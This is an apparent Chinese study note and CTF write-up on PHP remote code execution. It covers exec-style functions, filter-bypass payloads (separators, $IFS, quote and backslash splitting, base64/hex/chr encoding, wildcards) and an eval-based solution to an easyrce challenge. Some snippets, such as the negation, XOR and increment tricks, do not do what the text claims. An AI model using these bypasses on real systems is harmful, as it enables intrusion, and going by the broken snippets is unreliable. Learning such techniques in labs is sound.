Web三漏洞学习(其三:rce漏洞)
靶场:NSSCTF
三、RCE漏洞
1、概述
在Web应用开发中会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞
所以常见的RCE漏洞函数又分为代码执行函数和系统命令执行函数
2、常见RCE漏洞函数
<1>系统命令执行函数
(这些函数用于在服务器上执行操作系统级别的命令,比如在Linux上运行ls
列出目录内容,或者在Windows上运行dir
)
system(): 能将字符串作为OS命令执行,且返回命令执行结果,即执行系统命令,并将输出显示到屏幕上
例如
system("ls -l");
这条命令会在服务器上运行ls -l
,列出当前目录下的文件和文件夹,并将结果显示到屏幕上
exec():能将字符串作为OS命令执行,但只返回执行结果的最后一行(约等于无回显)(执行系统命令,但不会直接显示输出。输出可以被捕获到一个变量中)
如
$output = [];
exec("ls -l", $output);
print_r($output);
这条命令会在服务器上运行ls -l
,并将输出存储到$output
数组中,可以通过print_r
查看输出内容
shell_exec():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上,即执行系统命令,并将输出作为字符串返回
例如
$output = shell_exec("ls -l");
echo $output;
这条命令会在服务器上运行ls -l
,并将输出作为字符串返回,可以通过echo
将结果显示出来。
passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上,即执行系统命令,并将原始输出直接输出到屏幕上
例如
passthru("ls -l");
这条命令会在服务器上运行ls -l
,并将原始输出直接显示在屏幕上,不会进行任何处理。
popen():打开进程文件指针 ,也就是打开一个进程管道,用于执行系统命令,并可以读取或写入数据。
例如
$handle = popen("ls -l", "r");
$output = fread($handle, 2096);
pclose($handle);
echo $output;
这条命令会在服务器上运行ls -l
,并通过popen
打开一个管道,你可以通过fread
读取输出内容
proc_open():与上面的popen()类似
pcntl_exec():在当前进程空间执行指定程序,其为 PHP 中的一个函数,用于在当前进程空间中执行指定的程序。它会替换当前进程的代码,而不是启动一个新的进程。这意味着当前 PHP 脚本会被中断,新的程序会在同一个进程中运行。
例如假设我有一个 PHP 脚本,我想在其中执行一个外部程序(比如 ls
命令)
<?php
// 使用 pcntl_exec 执行外部程序
pcntl_exec('/bin/ls', ['-l', '/var/www/html']);
?>
/bin/ls
是要执行的程序路径
['-l', '/var/www/html']
是传递给程序的参数,表示以长格式列出 /var/www/html
目录下的文件
" : 反引号内的字符串会被解析为OS命令。在 PHP 中用于执行系统命令。反引号内的字符串会被解析为操作系统命令,并将命令的输出作为字符串返回。
例如假设我有一个 PHP 脚本,你想在其中执行一个系统命令(比如 ls
命令)并捕获输出
<?php
// 使用反引号执行系统命令并捕获输出
$output = `ls -l /var/www/html`;
echo $output;
?>
`ls -l /var/www/html`
是要执行的系统命令;
反引号内的命令会被执行,输出会被存储到 $output
变量中;
使用 echo
输出捕获的内容 。
<2>代码执行函数
(这些函数用于在服务器上执行PHP代码或其他编程语言的代码。它们可以让攻击者直接执行恶意代码,而不仅仅是系统命令)
eval():将字符串作为php代码执行(或者说执行字符串中的php代码)
例如
$code = "echo 'Hello, World!';";
eval($code);
这条命令会将字符串$code
中的PHP代码执行,输出Hello, World!
assert():也是将字符串作为php代码执行(或执行字符串中的php代码,与eval()类似)
例如
$code = "echo 'Hello, World!';";
assert($code);
这条命令会将字符串$code
中的PHP代码执行,输出Hello, World!
preg_replace():这则匹配替换字符串
create_function():主要创建匿名函数,并执行其中的代码
例如
$code = "echo 'Hello, World!';";
$func = create_function('', $code);
$func();
这条命令会创建一个匿名函数,将字符串$code
中的PHP代码作为函数体,然后调用这个函数,输出Hello, World!
call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数,即调用一个用户定义的函数
例如
function my_function() {echo 'Hello, World!';
}
call_user_func('my_function');
这条命令会调用my_function
函数,输出Hello, World!
call_user_func_arry():回调函数,第一个参数为函数名,第二个参数为函数的参数,即调用一个用户定义的函数,并传递参数。
例如
function my_function($name) {echo "Hello, $name!";
}
call_user_func_array('my_function', ['World']);
这条命令会调用my_function
函数,并传递参数'World'
,输出Hello, World!
可变函数:若变量有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行
通俗的理解:
想象一下,你有一个遥控器,可以控制一台电视。系统命令执行函数就像是遥控器上的按钮,你可以按这些按钮来让电视执行某些操作,比如换台、调节音量等。而代码执行函数就像是直接控制电视内部的电路板,你可以让电视做任何你想做的事情,比如显示自定义的图像或播放自定义的音频
3、RCE绕过
管道符 绕过
如果管道符(|
)被过滤,可以使用分号(;
)、双与(&&
)或双或(||
)
管道符 | 实例 | 描述 |
; | A;B | 无论真假,A与B都执行 |
& | A&B | 无论真假,A与B都执行 |
&& | A&&B | A为真时才执行B,否则只执行A |
| | A|B | 显示B的执行结果 |
|| | A||B | A为假时才执行B,否则只执行A |
空格过滤 绕过
如果空格被过滤,可以使用$IFS
、制表符(%09
)或大括号({}
)
以下可代替空格 | ||
< | <> | %20(即space) |
%09(即tab) | $IFS$9 | ${IFS} |
$IFS | {cat,/flag} |
反斜杠\ 绕过
如果某些命令或字符被过滤,可以使用反斜杠(\
)来绕过
//如cat、ls被过滤,使用\绕过
c\at /flag
l\s /
取反 绕过
通过取反操作来生成目标字符串
$a = "cat";
$b = ~$a; // 取反操作
$cmd = $b;
异或 绕过
通过异或操作来生成目标字符串
$a = "cat";
$b = $a ^ "dog"; // 异或操作
$cmd = $b;
自增 绕过
通过自增操作来生成目标字符串
$a = "ca";
$a++; // 自增操作
$cmd = $a;
黑名单 绕过
如果某些命令或函数被过滤,可以尝试变量拼接或内联执行
// 原始命令
$cmd = "cat /flag";
// 绕过
$b = "ag";
$cmd = "cat /fl$b";
正则匹配 绕过
如果某些字符或模式被正则过滤,可以使用通配符或正则表达式
// 原始命令
$cmd = "cat /flag";
// 绕过
$cmd = "cat /f???";
// 或者
$cmd = "cat /fl[a-z]{3}";
引号绕过
//如cat、ls被过滤ca""t /flagl's' /
cat替换命令
more | less | cat | tac |
head | tail | vi | vim |
nl | od | sort | uniq |
tac | 与cat相反,按行反向输出 |
more | 按页显示,用于文件内容较多且不能滚动屏幕时查看文件 |
less | 与more类似 |
tail | 查看文件末几行 |
head | 查看文件首几行 |
nl | 在cat查看文件的基础上显示行号 |
od | 以二进制方式读文件,od -A d -c /flag转人可读字符 |
xxd | 以二进制方式读文件,同时有可读字符显示 |
sort | 排序文件 |
uniq | 报告或删除文件的重复行 |
file -f | 报错文件内容 |
grep | 过滤查找字符串,grep flag /flag |
base编码绕过
Base64编码可以将命令编码为ASCII字符串,然后在目标系统上解码并执行
假设过滤器会过滤掉某些字符,可以使用Base64编码
$encoded_cmd = "Y2F0IC9mbGFn"; // Base64编码后的 "cat /flag"
$decoded_cmd = base64_decode($encoded_cmd);
system($decoded_cmd);
Hex编码绕过
Hex编码可以将命令编码为十六进制字符串,然后在目标系统上解码并执行
假设过滤器会过滤掉某些字符,可以使用Hex编码
$hex_cmd = "636174202f666c6167"; // Hex编码后的 "cat /flag"
$decoded_cmd = hex2bin($hex_cmd);
system($decoded_cmd);
回溯 绕过
回溯绕过通常用于绕过对某些字符或命令的直接过滤。通过构造复杂的表达式,让过滤器在解析时出现错误或绕过
假设过滤器会直接过滤掉 cat
命令,可以使用回溯绕过:
$cmd = "ca"."t /flag";
system($cmd);
无回显RCE
将执行结果输出到文件中,再访问文件
// 原始命令
$cmd = "ls -l";
// 绕过
$cmd = "ls -l > /tmp/output";
// 然后访问 /tmp/output 文件
无参数RCE
利用某些函数不需要参数的特性
// 原始命令
$cmd = "id";
// 绕过
$cmd = "id > /tmp/output";
无字母数字RCE
假设过滤器会过滤掉所有字母和数字,可以使用chr
函数来生成目标命令
<?php
// 使用 chr 函数生成字符
$cmd = chr(99) . chr(97) . chr(116) . " " . chr(47) . chr(102) . chr(108) . chr(97) . chr(103);// 执行命令
system($cmd);
?>
代码解释:
<1>这里的char函数:
chr
函数用于生成指定ASCII值的字符;
例如:
-
chr(99)
生成字符c
-
chr(97)
生成字符a
-
chr(116)
生成字符t
-
chr(47)
生成字符/
-
chr(102)
生成字符f
-
chr(108)
生成字符l
-
chr(97)
生成字符a
-
chr(103)
生成字符
(其实就是从字符a开始,对应char(97),依次往后递增:b是char(98);c是char(99);d是char(100)...)
<2>字符串拼接
使用点 (.) 将生成的字符拼接成完整的命令字符串
<3>执行命令
使用system
函数执行拼接后的命令
假设目标系统中有一个文件/flag
,运行上述代码后,会输出/flag
文件的内容
总之通过使用chr
函数生成字符,并通过字符串拼接构造命令,可以在不使用字母和数字的情况下实现无字母数字RCE。这种方法可以有效绕过严格的输入过滤器
理论完了接下来就是实践
【SWPUCTF 2021 新生赛】easyrce
查看源代码
可以看到源码使用了eval()函数接收GET传参的url参数(上面说过,eval()函数会将字符串作为php代码执行)
这样就比较简单了,只要题目没有对我们的输入内容进行严格的过滤,直接利用eval()函数执行php恶意代码就可以达到我们的目的
比如我现在利用phpinfo();语句查看php信息
可以看到PHP配置信息,说明服务器执行了phpinfo()函数(即上面所说代码执行函数)
假如现在我再换一个系统命令执行函数(system() 命令:?url=system("ls -l");)
可以看到列出了当前目录下的文件和文件夹 (即上面所说系统命令执行函数)
那既然解题时是为了flag而来,就应该想想怎么利用这些东西来get flag
这里说一下这两个函数的区别:
system("ls /");
这个命令表示列出根目录下的文件和名称 ;
system("ls -l");
而这个命令表示的是以长格式列出当前工作目录下的文件和目录详细信息
然后我刚刚用的是这个命令:system("ls -l");
回显这一串
这表示的是当前工作目录下只有一个文件index.php,还显示了该文件的详细信息:total 4 -rw-rw-r-- 1 root root 109 Oct 2 2021 (不用管它啥意思,只用知道它是index.php的详细信息)
那这样说的话假如我换命令system("ls /l"); 也就是列出根目录下的文件和名称, 回显肯定是不同的,那就执行一下看看:
可以看到回显出的根目录,其的确与回显当前工作目录文件名的命令不一样,这说明PHP脚本的当前工作目录不是根目录(/
),而是某个特定的目录,例如脚本所在的目录
这样也就提醒了我以后尽量先用找根目录的命令(system("ls /");),这样一层层往里剥
诶其中的flllllaaaaaaggggggg目录明显就是提醒flag所在,那就针对这个目录即可
然后由于比较简单,一 cat就出flag了(Linux的OS命令cat:显示文件内容)